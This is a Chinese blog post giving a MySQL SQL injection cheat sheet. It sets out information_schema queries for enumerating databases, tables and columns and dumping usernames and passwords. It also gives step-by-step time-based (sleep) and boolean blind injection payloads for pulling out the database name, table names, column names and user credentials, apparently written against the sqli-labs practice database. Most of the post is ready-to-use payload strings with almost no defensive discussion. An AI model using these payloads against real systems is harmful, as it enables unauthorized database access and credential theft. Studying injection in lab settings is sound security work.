一、sql注入语句

爆破所有数据库:

(select group_concat(schema_name) from information_schema.schemata)

获取数据库所有表:

(select  group_concat(table_name) from information_schema.tables where table_schema='mysql')

获取所有列名:

(select group_concat(column_name) from information_schema.columns where table_name='users')

获取所有用户密码:

(select group_concat(password) from security.users)
(select group_concat(username) from security.users)

盲注

方法一:时间延迟型手工注入

1.爆库长

?id=1' and if(length(database())=8,sleep(5),1)--+

明显延迟,数据库长度为8.

2.爆库名

?id=1' and if(left(database(),1)='s' ,sleep(5),1) --+
?id=1' and if(left(database(),8)='security' ,sleep(5),1) --+

明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

3.爆表名

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='u' ,sleep(5),1) --+
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,2),1)='us' ,sleep(5),1) --+
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,5),1)='users' ,sleep(5),1) --+

4.爆列名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

5.爆用户和密码

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

注意:limit 按照id排序,limit 从0开始.

方法二,布尔型手工注入

在布尔型注入中,正确会回显,错误没有回显

1.爆库名

id=1' and length(database())=8--+
?id=' and left((select database()),1)='s' --+
?id=' and left((select database()),2)='se' --+

2.爆表名

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

3.爆列名

?id=1'and left((select column_name from information_schema.columns  where table_name='users'limit 2,1 ),8)='password' --+

4.爆用户和密码

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+

mysql注入语句的更多相关文章

  1. PHP+MySQL多语句执行<转自wooyun>

    发起这个帖子,估计就很多人看到题目就表示不屑了.一直以来PHP+MySQL环境下,无论是写程序或者是注入攻击,是无法多语句执行的,这么广为人知的常识,没理由会有人不知道.可权威就是用来被挑战的,常识也 ...

  2. MySQL注入总结

    SELECT first_name, last_name FROM users WHERE user_id = '$id' 1.id=1' or 1=1 --     这个可以查询所有的信息,其中“- ...

  3. PHP MySQL 预处理语句

    PHP MySQL 预处理语句 预处理语句对于防止 MySQL 注入是非常有用的. 预处理语句及绑定参数 预处理语句用于执行多个相同的 SQL 语句,并且执行效率更高. 预处理语句的工作原理如下: 预 ...

  4. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  5. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  6. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

  7. 【sql注入教程】mysql注入直接getshell

    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...

  8. MySQL注入与防御

    1.简介 1.1.含义 在一个应用中,数据的安全无疑是最重要的.数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题! SQL注入作为一种很流行的攻击手段,一直以来都受 ...

  9. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

随机推荐

  1. 智能指针unique_ptr记录

    unique_ptr 对对象独有管理,无法复制,共享,值传递,可以使用move语义来转移控制权. std::default_delete<int> d; std::unique_ptr&l ...

  2. intellij idea gradle 导入 spring 问题记录

    环境: windows 7 oracle jdk 1.8 intellij idea 2019.3.1 spring-framework 5.1.22.RELEASE 步骤: 1: 下载解压sprin ...

  3. Java学习 1.5——静态Static的作用与用法

    在网上查阅资料,静态大约分为这几部分:修饰成员变量:修饰成员方法:静态代码块:静态导包,下面会用代码一一展示: 修饰成员变量: 一个类中,使用static修饰成员变量后,该变量变为全局变量,当再次ne ...

  4. LA 6972 Domination

    6972 Domination Edward is the headmaster of Marjar University. He is enthusiastic about chess and of ...

  5. Noip2015 提高组 Day1

    T1神奇的幻方 直通 思路: 制定一个lrow记录上一个数字所在的行数,lcolume记录上一个数字所在的列数,然后根据题目的描述进行更改即可 上代码: #include <iostream&g ...

  6. XGBoost的优点

    1. Gradient boosting(GB) Gradient boosting的思想是迭代生多个(M个)弱的模型,然后将每个弱模型的预测结果相加,后面的模型Fm+1(x)基于前面学习模型的Fm( ...

  7. [Vue] : vue-resource 实现 get, post, jsonp请求

    vue-resource 实现 get, post, jsonp请求 常见的数据请求类型:get,post,jsonp 除了vue-resource之外,还可以使用axios的第三方包实现实现数据的请 ...

  8. Ranorex连接Android

    开始在Android上进行移动测试 只需按照下面的步骤开始使用Android进行移动测试. 1.连接设备(USB/Wi-Fi) 2.在Ranorex中添加设备 3.将设备名称设置为参数值 4.运行示例 ...

  9. python中with语句的使用

    引言 with 语句是从 Python 2.5 开始引入的一种与异常处理相关的功能(2.5 版本中要通过 from __future__ import with_statement 导入后才可以使用) ...

  10. pl/sql Developer连接oracle远程数据库

    1.下载地址:PLSQL Developer 12.1正式版64位(含中文语言包.注册码).rar   https://download.csdn.net/download/bokewangyu/11 ...